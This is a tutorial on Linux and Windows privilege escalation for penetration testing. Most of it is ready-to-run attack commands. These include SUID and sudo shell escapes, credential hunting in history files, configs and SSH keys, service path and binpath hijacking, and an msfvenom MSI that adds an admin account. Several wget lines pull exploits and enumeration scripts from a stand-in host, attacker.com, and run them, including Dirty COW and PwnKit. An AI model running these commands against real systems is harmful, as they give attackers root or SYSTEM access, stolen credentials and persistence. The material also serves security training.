Privilege Escalation Basics

The Privilege Escalation Problem

You have exploited a vulnerability and gained a low-privilege shell (e.g., www-data on Linux or IUSR on Windows). You need root/SYSTEM access to fully compromise the system — read sensitive files, modify configurations, install persistence, and access other systems. Privilege escalation is the process of going from low-privilege to high-privilege access.

Linux Privilege Escalation Vectors

1. SUID Binaries

SUID (Set User ID) binaries run with the privileges of the file owner (often root) regardless of who executes them. If a SUID binary has a vulnerability or can be abused, you get root access.

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Check for known vulnerable SUID binaries
gtfobins.github.io  # Search for the binary name

Common exploitable SUID binaries:

• find — find . -exec /bin/sh -p \;
• vim — vim -c ':!/bin/sh'
• awk — awk 'BEGIN {system("/bin/sh")}'
• less — less file then !/bin/sh
• nmap (old versions) — nmap --interactive then !sh

2. Sudo Misconfigurations

If your user has sudo privileges for specific commands, you may be able to abuse them:

# Check sudo privileges
sudo -l

# Example output:
User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/vim

If you can run vim as root, escalate: sudo vim -c ':!/bin/sh'

3. Writable Paths and Cron Jobs

Cron jobs run with the privileges of the user who created them. If a root cron job executes a writable script, you can modify the script to run your code as root.

# List cron jobs
cat /etc/crontab
ls -la /etc/cron.*

# Check for writable scripts in cron paths
find /etc/cron* -writable 2>/dev/null

4. Exposed Credentials

Search for credentials in configuration files, history files, and application data:

# Search for passwords
grep -r "password" /var/www/ 2>/dev/null
cat /var/www/html/config.php

# Check bash history
cat ~/.bash_history
cat /home/*/.bash_history

# Check for SSH keys
find / -name "id_rsa" 2>/dev/null

5. Kernel Exploits

If the kernel is outdated, known kernel exploits may provide root access:

# Check kernel version
uname -a

# Search for kernel exploits
searchsploit linux kernel $(uname -r)

Kernel exploits are a last resort — they can crash the system.

Automated Enumeration

Use scripts to quickly identify escalation vectors:

# LinEnum — comprehensive Linux enumeration
wget http://attacker.com/LinEnum.sh
bash LinEnum.sh

# linux-smart-enumeration (lse)
wget http://attacker.com/lse.sh
bash lse.sh

# BeRoot
wget http://attacker.com/BeRoot.exe  # Windows equivalent

These scripts check for SUID binaries, sudo misconfigurations, writable paths, cron jobs, exposed credentials, and kernel vulnerabilities — all in one run.

Windows Privilege Escalation Vectors

1. Unquoted Service Paths

When a service path contains spaces and is not enclosed in quotes, Windows interprets each space-separated segment as a potential executable. If you can write to a directory in the path, you can place a malicious executable that runs as SYSTEM.

# Find services with unquoted paths
wmic service get name,pathname | findstr /i /v "C:\Windows"
wmic service get name,pathname | findstr /i /v """

# Example vulnerable service:
# Name: VulnerableService
# Path: C:\Program Files\Vulnerable App\service.exe
# Windows tries: C:\Program.exe, C:\Program Files\Vulnerable.exe, etc.

If C:\Program Files is writable, place Vulnerable.exe there.

2. Weak Service Permissions

If you can modify a service's configuration, you can change the executable to run your payload:

# Check service permissions
accesschk.exe -uwcqv "Authenticated Users" *

# Modify a service
sc config VulnerableService binpath= "C:\temp\payload.exe"
sc stop VulnerableService
sc start VulnerableService

3. AlwaysInstallElevated

If the AlwaysInstallElevated registry key is enabled, any user can install MSI packages as SYSTEM:

# Check the registry
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Generate a malicious MSI
msfvenom -p windows/exec CMD='net user admin password /add' -f malicious.msi

# Install as SYSTEM
msiexec /quiet /qn /i malicious.msi

4. Stored Credentials and Tokens

Windows stores credentials in various locations:

# Check for stored credentials
cmdkey /list

# Check for unattended installation files
dir /s C:\Unattend.xml C:\Panther\Unattend.xml

# Check for credentials in registry
reg query HKLM /f password /s
reg query HKCU /f password /s

5. Token Impersonation

If a high-privilege process is running on the system, you may be able to impersonate its token:

# Using Meterpreter
Meterpreter > load incognito
Meterpreter > list_tokens -u
Meterpreter > impersonate_token CORP\Administrator

6. DLL Hijacking

If an application loads a DLL without specifying the full path, place a malicious DLL in the application's directory:

# Find DLLs loaded without full path
# Use Process Monitor (Sysinternals) to identify DLL loads
# Place malicious DLL in application directory

Automated Enumeration

# WinPEAS — comprehensive Windows enumeration
wget http://attacker.com/winPEASx64.exe
winPEASx64.exe

# PowerUp — PowerShell-based enumeration
Import-Module PowerUp.ps1
Invoke-AllChecks

# Seatbelt — C# enumeration tool
wget http://attacker.com/Seatbelt.exe
Seatbelt -group=all

Practical Example: Unquoted Service Path Exploitation

# 1. Find vulnerable service
wmic service get name,pathname | findstr /i /v "C:\Windows" | findstr /i /v """
# Output: VulnerableService  C:\Program Files\Vulnerable App\service.exe

# 2. Check if directory is writable
accesschk.exe -d "C:\Program Files"
# Output: RW BUILTIN\Users

# 3. Place payload
copy C:\temp\payload.exe "C:\Program Files\Vulnerable.exe"

# 4. Restart service
sc stop VulnerableService
sc start VulnerableService

# 5. Payload executes as SYSTEM

When to Use Kernel Exploits

Kernel exploits are your last resort for privilege escalation. They should only be used when:

1. No misconfigurations are available (SUID, sudo, cron, services)
2. No exposed credentials are found
3. No writable paths or weak permissions exist
4. You have confirmed the kernel version is vulnerable

Why Kernel Exploits Are Risky

• System crash — Kernel exploits often cause blue screens (Windows) or kernel panics (Linux)
• Data loss — A crashed system may lose unsaved data
• Detection — Kernel exploits are highly detectable by EDR and antivirus
• Unreliability — Kernel exploits may fail or behave unpredictably

Linux Kernel Exploits

Dirty COW (CVE-2016-5195) — A race condition in the Linux kernel's memory subsystem. Affects kernels before 4.8.3.

# Check if vulnerable
uname -r  # If kernel < 4.8.3, potentially vulnerable

# Download and compile exploit
wget http://attacker.com/dirtycow.c
gcc -pthread dirtycow.c -o dirtycow
./dirtycow

PwnKit (CVE-2021-4034) — A vulnerability in pkexec (polkit). Affects most Linux distributions.

# Check if vulnerable
which pkexec
pkexec --version  # If version < 0.105, potentially vulnerable

# Exploit
wget http://attacker.com/pwnkit.sh
bash pwnkit.sh

Windows Kernel Exploits

PrintNightmare (CVE-2021-34527) — A remote code execution vulnerability in the Windows Print Spooler service.

# Check if Print Spooler is running
Get-Service -Name Spooler

# Exploit (using Metasploit)
msf6 > use exploit/windows/local/cve_2021_34527_printnightmare

Kernel Exploit Best Practices

1. Test in a lab first — Never use a kernel exploit in production without testing
2. Have a backup — If the system crashes, you need to recover
3. Use the most reliable exploit — Some kernel exploits are more stable than others
4. Document the risk — Inform the client before using kernel exploits
5. Clean up — Remove exploit artifacts after use

Alternative to Kernel Exploits

Before resorting to kernel exploits, exhaust all other options:

• Password reuse — Try credentials found on the system against other accounts
• SSH keys — Check for SSH keys that may have been left behind
• Application vulnerabilities — The application itself may have a privilege escalation path
• Lateral movement — Instead of escalating on this system, use its credentials to access other systems

Practical Example: Complete Linux Escalation

# 1. Enumerate the system
bash LinEnum.sh > linenum.txt

# 2. Check SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Output: /usr/bin/find

# 3. Exploit SUID find
find . -exec /bin/sh -p \;

# 4. Verify root access
whoami
# Output: root

# 5. Document the escalation path
# SUID binary: /usr/bin/find
# Exploit: find . -exec /bin/sh -p \;
# Result: root shell